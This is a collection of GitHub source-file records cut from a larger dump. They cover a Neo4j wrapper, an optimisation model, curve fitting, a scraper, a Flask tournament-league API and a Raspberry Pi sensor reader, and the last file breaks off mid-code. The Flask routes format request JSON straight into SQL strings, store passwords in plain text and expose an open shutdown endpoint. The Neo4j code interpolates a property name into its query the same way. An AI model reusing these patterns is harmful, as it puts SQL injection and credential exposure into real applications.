\\endcond\n    ##\n\n    def query_property(self, id: int, property_name: str) -> str:\n        \"\"\"\n        Find the requested property of a Neo4j node.\n\n        For example, using the Neo4j movie database example, you can find the\n        title of a movie node as follows.\n\n        \\code{python}\n            import stag.neo4j\n            g = stag.neo4j.Neo4jGraph(\"bolt://localhost:7687\", \"neo4j\", \"password\")\n            title = g.query_property(1, \"title\")\n        \\endcode\n\n        @param id the Neo4j node ID to query\n        @param property_name the name of the property to query\n        @return the value of the requested property on the given node. Returns\n                None if the requested property is not set on the requested node,\n                or if the node id does not exist.\n        \"\"\"\n        with self.driver.session() as session:\n            result = session.execute_read(self._property_query, id, property_name)\n        return result\n\n    @lru_cache(maxsize=1024)\n    def vertex_exists(self, v: int) -> bool:\n        with self.driver.session() as session:\n            result = session.execute_read(self._exists_query, v)\n        return result\n\n    ##\n    # \\cond\n    ##\n    @staticmethod\n    def _exists_query(tx, id: int):\n        result = tx.run('MATCH (n1) '\n                        f\"WHERE id(n1) = {id} \"\n                        \"RETURN n1 \"\n                        \"LIMIT 1\")\n        result = result.single()\n        if result is None:\n            return False\n        else:\n            return True\n    ##\n    # \\endcond\n    ##\n\n    ##\n    # \\cond\n    ##\n    @staticmethod\n    def _property_query(tx, node_id, property_name):\n        result = tx.run(\"MATCH (n1) \"\n                        f\"WHERE id(n1) = {node_id} \"\n                        f\"RETURN (n1.{property_name}) \"\n                        \"LIMIT 1\")\n        result = result.single()\n        if result is None:\n            return None\n        else:\n            return result[0]\n\n    def __del__(self):\n        # When the graph object it destroyed, close the connection to the backing\n        # database.\n        self.driver.close()\n    ##\n    # \\endcond\n    ##\n","repo_name":"staglibrary/stagpy","sub_path":"stag/neo4j.py","file_name":"neo4j.py","file_ext":"py","file_size_in_byte":8983,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"1310646316","text":"#!/usr/bin/env python3\n\nimport http.server, socketserver, ui, console, iServer\n\n# Read the README.MD first before using this script!\n\nPORT = 80\n\nHandler = http.server.SimpleHTTPRequestHandler\nHandler.extensions_map.update({\n    '.webapp': 'application/x-web-app-manifest+json',\n});\n\nhttpd = socketserver.TCPServer((\"\", PORT), Handler)\n\nprint(\"Serving at port \", PORT)\nhttpd.serve_forever()\n","repo_name":"takyzoo/iServer","sub_path":"startserver.py","file_name":"startserver.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2519115451","text":"from shutil import copyfile\nfrom gurobipy import *\n\ndef runModel(CAB, allowedTime, CABID):\n    status = ['ERROR', 'LOADED', 'OPTIMAL', 'INFEASIBLE', 'INF_OR_UNBD', 'UNBOUNDED', 'CUTOFF', 'ITERATION_LIMIT', 'NODE_LIMIT', 'TIME_LIMIT', 'SOLUTION_LIMIT', 'INTERRUPTED', 'NUMERIC', 'SUBOPTIMAL', 'INPROGRESS', 'USER_OBJ_LIMIT']\n    try:\n        # Create a new model\n        model = Model(\"My Model\")\n        model.setParam('TimeLimit', allowedTime)\n\n        # Create price(p) values for each bid with j index\n        p = dict()\n        for j in range(CAB.numberOfBids):\n            p[str(j)] = CAB.bidList[j].priceOfBid\n\n\n        # Create u values for each item with i index which represent number of avaiable units for item i\n        u = dict()\n        for i in range(CAB.numberOfItems):\n            u[str(i)] = CAB.itemList[i].numberOfUnits\n\n        # Create cost(c) values for each item with i index\n        c = dict()\n        for i in range(CAB.numberOfItems):\n            c[str(i)] = CAB.itemList[i].costOfItem\n\n        # Create quantity values for each subbid of bids with j, k index\n        q = dict()\n        for j in range(CAB.numberOfBids):\n            for k in range(CAB.bidList[j].numberOfSubBids):\n                q[str(j) + \"_\" + str(k)] = CAB.bidList[j].listOfSubBids[k].quantity\n\n        # Create x variables with j index\n        # x is binary that represent whether x(j) bid satisfied(1) or not(0)\n        x = dict()\n        for j in range(CAB.numberOfBids):\n            x[str(j)] = model.addVar(vtype=GRB.BINARY, name=\"x\"+str(j))\n\n\n        # Create y variables with i, j, k indexes\n        # y is a natural number that represent how many units of item i are taken by k'th subbid of ...\n        #... bid j if it is satisfied\n        y = dict()\n        for i in range(CAB.numberOfItems):\n            for j in range(CAB.numberOfBids):\n                for k in range(CAB.bidList[j].numberOfSubBids):\n                    varIndex = str(i) + \"_\" + str(j) + \"_\" + str(k)\n                    y[varIndex] = model.addVar(vtype=GRB.INTEGER, lb=0, name=\"y\" + varIndex)\n\n        model.update()\n\n        #objective function first part sum of (price of bid*is bid accepted)\n        obj = LinExpr(None)\n        for j in range(CAB.numberOfBids):\n            obj.addTerms(p[str(j)], x[str(j)])\n\n        # objective function second part sum of (cost of each item*is bid accepted and it is in subbid)\n        for i in range(CAB.numberOfItems):\n            for j in range(CAB.numberOfBids):\n                for k in range(CAB.bidList[j].numberOfSubBids):\n                    if i in CAB.bidList[j].listOfSubBids[k].listOfItems:\n                        varIndex = str(i) + \"_\" + str(j) + \"_\" + str(k)\n                        obj.addTerms(-1*c[str(i)], y[varIndex])\n\n        # Set objective\n        model.setObjective(obj, GRB.MAXIMIZE)\n\n        #constrains the sum of the requested quantity of item i by all subbids with the number of available units of item i.\n        for i in range(CAB.numberOfItems):\n            dummyExp = LinExpr(None)\n            for j in range(CAB.numberOfBids):\n                for k in range(CAB.bidList[j].numberOfSubBids):\n                    if i in CAB.bidList[j].listOfSubBids[k].listOfItems:\n                        varIndex = str(i) + \"_\" + str(j) + \"_\" + str(k)\n                        dummyExp.addTerms(1, y[varIndex])\n            model.addConstr(dummyExp.__le__(u[str(i)]), \"c1\"+str(i))\n\n        #constrains the sum of the quantities for each item inside a subbid to be equal to the requested ...\n        #... quantity in that subbid if bid j is satisfied, otherwise y(i, j, k) values are cleared to 0.\n        for j in range(CAB.numberOfBids):\n            for k in range(CAB.bidList[j].numberOfSubBids):\n                dummyExp = LinExpr(None)\n                for i in range(CAB.numberOfItems):\n                    if i in CAB.bidList[j].listOfSubBids[k].listOfItems:\n                        varIndex = str(i) + \"_\" + str(j) + \"_\" + str(k)\n                        dummyExp.addTerms(1, y[varIndex])\n\n                dummyExp.addTerms(-1*q[str(j)+\"_\"+str(k)], x[str(j)])\n                model.addConstr(dummyExp.__eq__(0), \"c2\" + str(j) + \"_\" + str(k))\n\n        # constraints y(i, j, k) value is set to 0 if item i is not requested by the kth subbid of the jth bid.\n        for i in range(CAB.numberOfItems):\n            for j in range(CAB.numberOfBids):\n                for k in range(CAB.bidList[j].numberOfSubBids):\n                    if i not in CAB.bidList[j].listOfSubBids[k].listOfItems:\n                        dummyExp = LinExpr(None)\n                        varIndex = str(i) + \"_\" + str(j) + \"_\" + str(k)\n                        dummyExp.addTerms(1, y[varIndex])\n                        model.addConstr(dummyExp.__eq__(0), \"c3\" + varIndex)\n\n        open('gurobi.log', 'w')\n        model.optimize()\n        objVal = model.objVal\n        runTime = model.Runtime\n        statusCode = model.Status\n        gap = model.MIPGap\n        copyfile('gurobi.log', 'log/CAB_' + str(CABID) + '.log')\n        model.write('sol/CAB_' + str(CABID) + '.sol')\n        model.write('lp/CAB_' + str(CABID) + '.lp')\n        model.write('mst/CAB_' + str(CABID) + '.mst')\n        model.write('mps/CAB_' + str(CABID) + '.mps')\n        return objVal, runTime, status[statusCode], gap\n\n\n    except GurobiError as e:\n        print('Error code ' + str(e.errno) + \": \" + str(e))\n\n    except AttributeError:\n        print('Encountered an attribute error ')\n","repo_name":"ezdinaslanci/CABS","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"6322210643","text":"from sqlite3 import Cursor\nfrom urllib import request\nfrom flask import Flask ,jsonify, render_template, request\nfrom config import config\nfrom flask_mysqldb import MySQL\nfrom validar import *\nimport smtplib\nfrom email.message import EmailMessage\n\n\n# Inicializar el app \napp = Flask(__name__)\n\nconexion = MySQL(app)\n\n#########################REGISTRAR LIGA ################################\n\n# Listar todos los usuarios dentro de la herramienta\n@app.route('/registrarliga', methods = ['POST','GET'])\ndef registra_liga():\n    \n    try:\n        ligas = tipo(request.json['tipo'])\n        if ligas == True:\n            cursor = conexion.connection.cursor()\n            sql=\"\"\"INSERT INTO liga  (NOMBRE_LIGA,TIPO,COSTO) VALUES ('{0}','{1}','{2}')\"\"\".format(request.json['liga'],request.json['tipo'],request.json['costo'])\n            cursor.execute(sql)\n            conexion.connection.commit() # confirmaci\n            return jsonify({'mensaje': \"Liga Ingresada\"}) \n        else:\n             return jsonify({'mensaje': \"Tipo de Liga no existente\"})\n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0003 <Liga Ya creado o Falta de datos Json>\"}) \n\n######################Invitar#############################\n\n@app.route('/Invitar', methods = ['POST'])\ndef registra_usuario_Invitado():\n    try:\n\n       email_subject = \"Invitacion al Torneo\" \n       sender_email_address = \"your_email@gmail.com\" \n       receiver_email_address = \"receiver_email@address.com\" \n       email_smtp = \"smtp.gmail.com\" \n       email_password = \"your_email_password\" \n\n# Create an email message object \n       message = EmailMessage() \n\n# Configure email headers \n       message['Subject'] = email_subject \n       message['From'] = sender_email_address \n       message['To'] = receiver_email_address \n\n# Set email body text \n       message.set_content(\"Hello from Python!\") \n\n# Set smtp server and port \n       server = smtplib.SMTP(email_smtp, '587') \n\n# Identify this client to the SMTP server \n       server.ehlo() \n\n# Secure the SMTP connection \n       server.starttls() \n\n# Login to email account \n       server.login(sender_email_address, email_password) \n\n# Send email \n       server.send_message(message) \n\n# Close connection to server \n       server.quit()\n\n       return jsonify({'mensaje': \"usuario invitado\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0003\"}) \n\n\n#def listar_usuario():\n #   return render_template('auth/login.html')\n\n\n######################Obtener Equipos#############################\n\n@app.route('/registrarliga/obtenerequipos', methods = ['GET'])\ndef listar_equipo():\n    try:\n        cursor = conexion.connection.cursor()\n        sql=\"SELECT * FROM EQUIPO\"\n        cursor.execute(sql)\n        datos=cursor.fetchall()\n        equipos =[]\n        for fila in datos:\n            equipo={'ID_EQUIPO':fila[0],'NOMBRE':fila[1]}\n            equipos.append(equipo)\n        return jsonify({'usuarios':equipos, 'mensaje': \"equipos creados\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"registros no encontrados\"}) \n\n\ndef pagina_no_encontrada(error):\n    return \"<h1> La pagina no existe <h1>\",404\n\n##########################Administrar Grupos################################\n@app.route('/registrar/grupo', methods = ['POST','GET'])\ndef registra_grupo():\n    try:\n        curso = leer_grupo(request.json['nombre'])\n        if curso != None:\n            return jsonify({'mensaje': \"Grupo ya creado\"}) \n        else:\n            cursor = conexion.connection.cursor()\n            sql=\"\"\"INSERT INTO grupo_estado (NOMBRE) VALUES ('{0}')\"\"\".format(request.json['nombre'])\n            cursor.execute(sql)\n            conexion.connection.commit() # confirmaci\n            return jsonify({'mensaje': \"Grupo registrado\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0003 <Grupo Ya creado o Falta de datos Json>\"}) \n\n\n\ndef leer_grupo(codigo):\n    try:\n        cursor = conexion.connection.cursor()\n        sql = \"SELECT NOMBRE FROM grupo_estado WHERE NOMBRE = '{0}'\".format(codigo)\n        cursor.execute(sql)\n        datos = cursor.fetchone()\n        if datos != None:\n            curso = {'codigo': datos[0]}\n            return curso\n        else:\n            return None\n    except Exception as ex:\n        raise ex\n\n\ndef pagina_no_encontrada(error):\n    return \"<h1> La pagina no existe <h1>\",404\n\n\n\n########################OBTENER LIGAS ###################################\n\n\n# Listar todos los usuarios dentro de la herramienta\n@app.route('/registrarliga/ligas', methods = ['GET'])\ndef listar_ligas():\n    try:\n        cursor = conexion.connection.cursor()\n        sql=\"SELECT NOMBRE_LIGA, TIPO, COSTO FROM LIGA\"\n        cursor.execute(sql)\n        datos=cursor.fetchall()\n        ligas =[]\n        for fila in datos:\n            liga={'NOMBRE_LIGA':fila[0],'TIPO':fila[1],'COSTP':fila[2]}\n            ligas.append(liga)\n        return jsonify({'usuarios':ligas, 'mensaje': \"ligas creados\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"usuarios no encontrados\"}) \n\ndef pagina_no_encontrada(error):\n    return \"<h1> La pagina no existe <h1>\",404\n\n\n######################REGISTRAR UN USUARIO################################\n@app.route('/registrar', methods = ['POST'])\ndef registra_usuario():\n    try:\n       correo = '{0}'.format(request.json['correo'])\n       email = is_valid_email(correo)\n       if email == True:\n            cursor = conexion.connection.cursor()\n            sql=\"\"\"INSERT INTO usuario (CORREO,NOMBRE, APELLIDO, CONTRASEÑA, ROL_ID_ROL) VALUES ('{0}','{1}','{2}','{3}','{4}')\"\"\".format(request.json['correo'],request.json['nombre'],request.json['apellido'],request.json['contraseña'],request.json['rol'])\n            cursor.execute(sql)\n            conexion.connection.commit() # confirmaci\n            return jsonify({'mensaje': \"usuario registrado\"}) \n       else:\n        return jsonify({'mensaje': \"formato de correo incorrecto\"}) \n\n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0003 <Usuario Ya creado o Falta de datos Json>\"}) \n\n####################REGISTRAR UN EQUIPO#######################################\n@app.route('/registrar/equipo', methods = ['POST','GET'])\ndef registra_equipo():\n    try:\n        curso = leer_equipo(request.json['nombre'])\n        if curso != None:\n            return jsonify({'mensaje': \"Equipo ya creado\"}) \n        else:\n            cursor = conexion.connection.cursor()\n            sql=\"\"\"INSERT INTO equipo (NOMBRE) VALUES ('{0}')\"\"\".format(request.json['nombre'])\n            cursor.execute(sql)\n            conexion.connection.commit() # confirmaci\n            return jsonify({'mensaje': \"equipo registrado\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0003 <Equipo Ya creado o Falta de datos Json>\"}) \n\n\n\ndef leer_equipo(codigo):\n    try:\n        cursor = conexion.connection.cursor()\n        sql = \"SELECT NOMBRE FROM equipo WHERE NOMBRE = '{0}'\".format(codigo)\n        cursor.execute(sql)\n        datos = cursor.fetchone()\n        if datos != None:\n            curso = {'codigo': datos[0]}\n            return curso\n        else:\n            return None\n    except Exception as ex:\n        raise ex\n\n##################RELACIÓN GRUPO EQUIPO########################\n@app.route('/registrar/relaciónequipo', methods = ['POST','GET'])\ndef relación_equipo():\n    try:\n        curso = leer_equipo1(request.json['equipo'])\n        curso1 = leer_grupo1(request.json['grupo'])\n        if curso == None and curso1 == None:\n            return jsonify({'mensaje': \"EQUIPO O GRUPO NO EXISTE\"}) \n        else:\n            cursor = conexion.connection.cursor()\n            sql=\"\"\"INSERT INTO relacion_grupo (EQUIPO_ID_EQUIPO,GRUPO_ID_GRUPO) VALUES ('{0}','{1}')\"\"\".format(request.json['equipo'],request.json['grupo'])\n            cursor.execute(sql)\n            conexion.connection.commit() # confirmaci\n            return jsonify({'mensaje': \"relacion de equipo creada ya\"}) \n    except Exception as ex:\n        return jsonify({'mensaje': \"ERROR 0005 <Equipo Ya creado o Falta de datos Json>\"}) \n\n\n\ndef leer_equipo1(codigo):\n    try:\n        cursor = conexion.connection.cursor()\n        sql = \"SELECT * FROM equipo WHERE ID_EQUIPO = '{0}'\".format(codigo)\n        cursor.execute(sql)\n        datos = cursor.fetchone()\n        if datos != None:\n            curso = {'codigo': datos[0]}\n            return curso\n        else:\n            return None\n    except Exception as ex:\n        raise ex\n\n\ndef leer_grupo1(codigo):\n    try:\n        cursor = conexion.connection.cursor()\n        sql = \"SELECT * FROM grupo_estado WHERE ID_GRUPO = '{0}'\".format(codigo)\n        cursor.execute(sql)\n        datos = cursor.fetchone()\n        if datos != None:\n            curso = {'codigo': datos[0]}\n            return curso\n        else:\n            return None\n    except Exception as ex:\n        raise ex\n\n\n\n\n\ndef pagina_no_encontrada(error):\n    return \"<h1> La pagina no existe <h1>\",404\n\n\n###########################DETENER EL SERVIDOR##################################\ndef shutdown_server():\n    func = request.environ.get('werkzeug.server.shutdown')\n    if func is None:\n        raise RuntimeError('Not running with the Werkzeug Server')\n    func()\n\n@app.route('/shutdown', methods=['POST'])\ndef shutdown():\n    shutdown_server()\n    return 'Server shutting down...'\n\n\n\n\n\nif __name__ == '__main__':\n    app.config.from_object(config['development'])\n    app.register_error_handler(404, pagina_no_encontrada)\n    app.run()","repo_name":"eschats/Quinela_V2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9520,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30202949174","text":"#THIS IS GOING TO BE THE MARKET INTERFACE\n# can use volume to confirm a price movement.\n\nfrom yahoo_finance import Share\nimport numpy as np\n\n\n\nclass polynomial():\n\n\tdef __init__(self, array_of_coefficients):\n\n\t\tself.array_of_coefficients = array_of_coefficients\n\n\t\tself.degree = len(array_of_coefficients) - 1\n\n\n\tdef __str__(self):\n\n\t\tstring = ''\n\n\t\tfor i in range(0,len(self.array_of_coefficients)):\n\t\t\tstring = string + str(\"%.3f\" % self.array_of_coefficients[i]) + 'x^(' + str(self.degree - i) + ')'\n\n\t\t\tif (i < len(self.array_of_coefficients) -1):\n\t\t\t\tstring = string + ' + '\n\n\t\treturn string\n\n\tdef out(self, x):\n\n\t\ty = 0\n\n\t\tfor i in range(0, len(self.array_of_coefficients)):\n\t\t\ty = y + self.array_of_coefficients[i] * (x ** (self.degree - i))\n\n\t\treturn y\n\n\tdef derivative(self, order = 1):\n\n\n\t\thigher_order_coefficients = self.array_of_coefficients\n\n\t\tfor j in range(0,order):\n\n\t\t\tarray_of_coefficients = []\n\n\t\t\tfor i in range(0, len(higher_order_coefficients) - 1):\n\n\t\t\t\tarray_of_coefficients.append(higher_order_coefficients[i] * (len(higher_order_coefficients) - 1 - i))\n\n\t\t\thigher_order_coefficients = array_of_coefficients\n\n\t\treturn polynomial(array_of_coefficients)\n\t\t\n\n\t\t\n\ndef bestFit(array_of_points, order = 2):\n\n\ty_vector = np.zeros(order + 1)\n\n\n\tfor a in range(0, len(y_vector)):\n\n\t\tfor b in range(0, len(array_of_points)):\n\n\t\t\ty_vector[a] = y_vector[a] + (array_of_points[b][1] * (array_of_points[b][0] ** (order - a)))\n\n\tM = np.empty([order + 1, order + 1])\n\n\tfor i in range(0, order + 1):\n\n\t\tfor j in range(0, order + 1):\n\n\t\t\tM[i][j] = 0\n\t\t\t\n\t\t\tfor k in range(0, len(array_of_points)):\n\n\t\t\t\tM[i][j] = M[i][j] + array_of_points[k][0] ** ((2*order) - (i + j))\n\n\tM_inverse = np.linalg.inv(M)\n\n\t#make it also return the variance for this bestFit\n\n\treturn polynomial(np.dot(M_inverse, y_vector))\n\ndef hardFit(array_of_prices_and_times):\n\n\t#array_of_prices_and_times should be like [[time1,price1], [time2, price2], [time3,price3]]\n\t# parameter is a set of points... an array of 2d arrays.\n\n\tpolynomial_degree = len(array_of_prices_and_times) - 1\n\n\tM = np.empty([polynomial_degree + 1, polynomial_degree + 1])\n\n\t# include handling for linearly dependent funcitons.... det(M) = 0 matrices...\n\n\tprices = np.zeros(len(array_of_prices_and_times))\n\n\tfor i in range(0,len(array_of_prices_and_times)):\n\n\t\tprices[i] = array_of_prices_and_times[i][1]\n\n\t\tfor j in range(0,len(array_of_prices_and_times)):\n\t\t\tM[i][j] = array_of_prices_and_times[i][0] ** (polynomial_degree - j)\n\n\n\n\tM_inverse = np.linalg.inv(M)\n\n\tabc = np.dot(M_inverse, prices)\n\n\treturn polynomial(abc)\n\n\n\n\t# use matrices to solve a system of equations and this gives you the polynomial.\n\t#[x^2, x, 1] dot [a, b , c] = y1\n\t#[x^2, x, 1]\n\t#[]\n\n\n\n\n\treturn function\n\n","repo_name":"adamjts/tradingModules","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18403581599","text":"from itertools import accumulate; from math import floor,ceil; import operator; import random; import string; from bisect import *; from collections import deque, defaultdict, Counter, OrderedDict; from functools import reduce,cache; from heapq import *; import unittest; from typing import List,Optional; from functools import cache; from operator import lt, gt; from sortedcontainers import SortedList\nfrom binary_tree_tester import *; from a_linked_list import make_linked_list\ndef get_sol(): return Solution()\n# https://www.youtube.com/watch?v=rY9ejIY9Osw\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\nclass Solution:\n    # O(n)\n    def buildTree(self, inorder: List[int], postorder: List[int]) -> Optional[TreeNode]:\n        def build(l,r):\n            nonlocal i\n            if l==r:\n                return TreeNode(postorder[i])\n\n            nodeVal=postorder[i]\n            node=TreeNode(nodeVal)\n            mid=idx[nodeVal]\n            if mid+1<=r:\n                i-=1\n                node.right=build(mid+1,r)\n            if mid-1>=l:\n                i-=1\n                node.left=build(l,mid-1)\n            return node\n\n        n=len(inorder)\n        i=n-1\n        idx={x:i for i,x in enumerate(inorder)}\n        return build(0,n-1)\n# time: n\n# https://leetcode.com/problems/construct-binary-tree-from-preorder-and-inorder-traversal/discuss/565412/Detailed-Python-Walkthrough-from-an-O(n2)-solution-to-O(n).-Faster-than-99.77\nclass Solution3:\n    def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n        self.post_idx=len(postorder)-1\n        idx ={}\n        for i,val in enumerate(inorder):\n            idx[val]=i\n        def construct(in_start,in_end):\n            if in_start>in_end:\n                return None\n\n            node = TreeNode(postorder[self.post_idx])\n            pos = idx[postorder[self.post_idx]]\n            self.post_idx -= 1\n\n\n            node.right = construct(pos+1, in_end)\n            node.left = construct(in_start, pos-1)\n\n            return node\n\n\n        return construct(0, len(inorder)-1)\n\nclass Solution2:\n    def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n        self.post_idx=len(postorder)-1\n\n        def construct(in_start,in_end):\n            if in_start>in_end:\n                return None\n\n            node = TreeNode(postorder[self.post_idx])\n            self.post_idx -= 1\n\n            for i in range(in_start, in_end+1):\n                if inorder[i]==node.val:\n                    pos=i\n                    break\n\n            node.right = construct(pos+1, in_end)\n            node.left = construct(in_start, pos-1)\n\n            return node\n\n\n        return construct(0, len(inorder)-1)\n\nclass Tester(unittest.TestCase):\n    def test01(self):\n        self.assertEqual('3,9,20,null,null,15,7',ser(get_sol().buildTree([9,3,15,20,7], [9,15,7,20,3])))\n    def test02(self):\n        self.assertEqual('-1',ser(get_sol().buildTree([-1],[-1])))\n    def test03(self):\n        self.assertEqual('1,null,2',ser(get_sol().buildTree([1,2], [2,1])))\n    def test04(self):\n        self.assertEqual('2,1',ser(get_sol().buildTree([1,2], [1,2])))\n    def test05(self):\n        self.assertEqual('4,3,null,null,2,1',ser(get_sol().buildTree([3,1,2,4], [1,2,3,4])))\n","repo_name":"afzalsiddique/problem-solving","sub_path":"Problem_Solving_Python/leetcode/lc106.py","file_name":"lc106.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"36799665853","text":"from threading import Timer\nimport time\n\n\ndef run(n):\n    print(\"hello %s\" % n)\n    print(time.time() - time1)\n\n\nt = Timer(5, run, (2,))  # 线程定时器, Thread衍生类\ntime1 = time.time()\nt.start()\n# t.cancel()  # 在等待时间内可以取消执行\n","repo_name":"diaoyuqiang/python","sub_path":"threading_/threading_Timer.py","file_name":"threading_Timer.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26650021300","text":"import math\nfrom .abc import BasePausedInterface\nfrom . import menu_interface\nfrom .widgets import Button, Slider\n\nvolumes_names = [\"block\"]\n\nclass SoundsInterface(BasePausedInterface):\n    title_text = \"Sounds :\"\n\n    def __init__(self, game):\n        self.superior = menu_interface.MenuInterface\n        self.reset_button = Button(game, 0.5, math.ceil(len(volumes_names) / 2 + 2), self.reset,  \"Reset\")\n        super().__init__(game)\n\n    def reload_widgets(self):\n        self.global_volume_slider = Slider(self.game, 0.5, 1, \"Global volume\",\n                                           self.on_slider_change, self.game.sound_manager.volumes[\"global\"])\n        self.widgets = [self.global_volume_slider]\n        for i, volume_name in enumerate(volumes_names):\n            self.widgets.append(Slider(self.game, i % 2, i//2+2, volume_name,\n                                       self.on_slider_change, self.game.sound_manager.volumes[volume_name]))\n\n        self.widgets.append(self.reset_button)\n\n    def reset(self):\n        self.game.sound_manager.reset_volume()\n        self.reload_widgets()\n\n    def on_slider_change(self, slider, value):\n        if slider is self.global_volume_slider:\n            self.game.sound_manager.change_volume(\"global\", value)\n        else:\n            index = self.widgets.index(slider) - 1\n            self.game.sound_manager.change_volume(volumes_names[index], value)\n","repo_name":"AlphaNow37/PyCraft","sub_path":"code_src/interfaces/paused_interfaces/sounds_interface.py","file_name":"sounds_interface.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"15548932164","text":"import requests\nimport random\nimport sys, os\nfrom django.core.management.base import BaseCommand, CommandError\nfrom watcher.models import Listing\nfrom urllib.parse import urlencode\n\nfrom bs4 import BeautifulSoup\nfrom collections import namedtuple\nfrom watcher.models import ListingURL\n\ndirname = os.path.dirname(os.path.abspath(__file__))\nwith open(os.path.join(dirname,'user_agents.txt'), 'r') as f:\n    user_agents = [line.strip() for line in f.readlines()]\n\n\nclass Command(BaseCommand):\n    help = \"Closes the specified poll for voting\"\n\n    def add_arguments(self, parser):\n        # parser.add_argument('poll_id', nargs='+', type=int)\n        pass\n\n    def handle(self, *args, **options):\n        params = {\"postal\": 11206, \"search_distance\": 6, \"s\": 0}\n\n        base_url = \"https://newyork.craigslist.org/search/zip?\"\n\n        paramstr = urlencode(params)\n        full_url = base_url + paramstr\n        r = requests.get(\n            full_url, headers={\"User-Agent\": random.sample(user_agents, 1)[0]}\n        )\n\n        if not r.ok:\n            raise Exception(\n                \"Received error code {} from {}\\n{}\".format(\n                    r.status_code, full_url, r.content\n                )\n            )\n\n        try:\n            soup = BeautifulSoup(r.content, \"lxml\")\n            links_html = soup.find_all(\"a\", {\"class\": \"result-title hdrlnk\"})\n            listing_urls = [\n                ListingURL(url=link.get(\"href\"), title=link.text, scraped=False)\n                for link in links_html\n            ]\n\n            count = 0\n            already_scraped = set([lurl.url for lurl in ListingURL.objects.all()])\n            for listing_url in listing_urls:\n                if listing_url.url in already_scraped:\n                    continue\n                listing_url.save()\n                count += 1\n\n            sys.stderr.write(\"Found {} new URLs.\".format(count))\n        except Exception as e:\n            raise (e)\n","repo_name":"vpatov/craigwatch","sub_path":"craigwatch/watcher/management/commands/crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40404139246","text":"import time\nimport pigpio\nimport binascii\nimport datetime, time\nimport os, sys\nimport sqlite3\nimport uploadCSV\nimport i2cMux\nimport math\n\ni2cMuxAddress = 0x75\nadcAddress = 0x16\nVREF = 3.3\nFS = 0.5 * VREF\nopAmpGain = 101.0\ncurrent = 100 / 1000000.0\n#offset = - 3.40\noffset = 0\ntwoToTheTwentyFour = 16777216 # 2^24\n\n\ndef resistancetotemp(resistance):\n    a = 0.00392 #standard coeff\n    r0 = 100 #resistance at 0C\n    \n    numer = (resistance/r0) -1\n    temper = numer/a\n    #derived from equation: RTemp=R0(1+(a*temperature))\n    return temper\n\ndef convertADC(adcReading):\n    #print binascii.hexlify(adcReading)\n    #print int(binascii.hexlify(adcReading), 16)\n    mask = 0xFFFFFF\n    inputShifted = int(binascii.hexlify(adcReading), 16) >> 6\n    maskedOutput = mask & inputShifted\n    #6 bit shift, 6 byte mask?\n    #print(maskedOutput)\n    voltageAcrossRTD = float(float(maskedOutput) / float(twoToTheTwentyFour)) #fpr 24 bit adc\n    toVoltage = (voltageAcrossRTD * FS) / opAmpGain\n    #print(\"FS: \" + str(FS))\n    #print(voltageAcrossRTD)\n    #print(\"ADC Voltage: \" + str(toVoltage))\n    RTDResistance = (toVoltage / current)  + offset\n    #temperature = CVD_equation(RTDResistance)\n    temperature=resistancetotemp(RTDResistance)\n    print(\"Raw Temperature: \" + str(temperature) + \"C\")\n    return temperature\n\ndef getChannel(channel):\n    returnValue = 0xA0\n    if channel == 1:\n        returnValue |= 0b10000\n    elif channel == 2:\n        returnValue |= 0b11000\n    elif channel == 3:\n        returnValue |= 0b10001\n    elif channel == 4:\n        returnValue |= 0b11001\n    return returnValue\n\ndef getChannelString(channel):\n    if channel == \"1\":\n        return \"ADC 1\"\n    elif channel == \"2\":\n        return \"ADC 2\"\n    elif channel == \"3\":\n        return \"ADC 3\"\n    elif channel == \"4\":\n        return \"ADC 4\"\n    elif channel == \"5\":\n        return \"I2C 1\"\n    elif channel == \"6\":\n        return \"I2C 2\"\n\ndef readADC(channel, dictionaryData):\n    convertedChannel = getChannel(int(channel))\n    print(adcAddress)\n    print(\"readADC.py:readADC, channel: \" + str(channel))\n    print(\"Converted channel: \" + str(convertedChannel) + \"  Hex: \" + str(hex(convertedChannel)))\n    temperature = 0\n    temp=0\n    numcount=0\n    try:\n        try:\n            if pi.connected:\n                print(\"Pigpio readADC already connected.\")\n        except:\n            pi = pigpio.pi()\n        handle = pi.i2c_open(1, adcAddress)\n        time.sleep(.02)\n        #print handle\n        #print(\"Try Writing...\")\n        pi.i2c_write_byte(handle, convertedChannel)\n        time.sleep(0.2)\n        #print(\"Try Reading...\")\n        (count, data) = pi.i2c_read_device(handle, 4)\n        time.sleep(0.2)\n        #print(\"Count: \" + str(count))\n        #print(binascii.hexlify(data))\n        #print int(data, 16)\n        temperature = convertADC(data)\n        gain = dictionaryData['gain' 